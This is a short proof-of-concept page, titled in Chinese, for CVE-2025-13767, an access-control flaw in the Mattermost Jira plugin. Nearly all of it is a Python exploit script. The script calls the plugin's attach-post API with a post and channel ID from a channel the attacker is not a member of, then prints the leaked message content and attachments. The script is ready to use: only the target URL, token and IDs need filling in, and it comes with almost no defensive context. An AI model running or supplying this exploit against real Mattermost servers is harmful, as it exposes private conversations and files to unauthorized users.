CVE-2025-13767 Mattermost Jira插件未授权访问漏洞

# CVE-2025-13767 PoC - Mattermost Jira Plugin Unauthorized Access # This PoC demonstrates the access control bypass in Mattermost Jira plugin import requests import json TARGET_URL = "https://your-mattermost-instance.com" ATTACKER_TOKEN = "your-authentication-token" CHANNEL_ID = "target-channel-id" # Channel attacker doesn't have access to POST_ID = "target-post-id" # Post ID from restricted channel def exploit_unauthorized_access(): """ Exploit the missing channel membership validation in Jira plugin """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Attempt to attach post to Jira issue without channel membership exploit_data = { "post_id": POST_ID, "channel_id": CHANNEL_ID, "jira_issue_key": "PROJECT-123" } response = requests.post( f"{TARGET_URL}/api/v4/plugins/com.mattermost.jira/api/v2/attach-post", headers=headers, json=exploit_data ) # If successful, the post content and attachments are exposed if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed post: {data.get('post_id')}") print(f"[+] Post content: {data.get('message')}") print(f"[+] Attachments: {data.get('attachments')}") else: print(f"[-] Exploit failed: {response.status_code}") if __name__ == "__main__": exploit_unauthorized_access()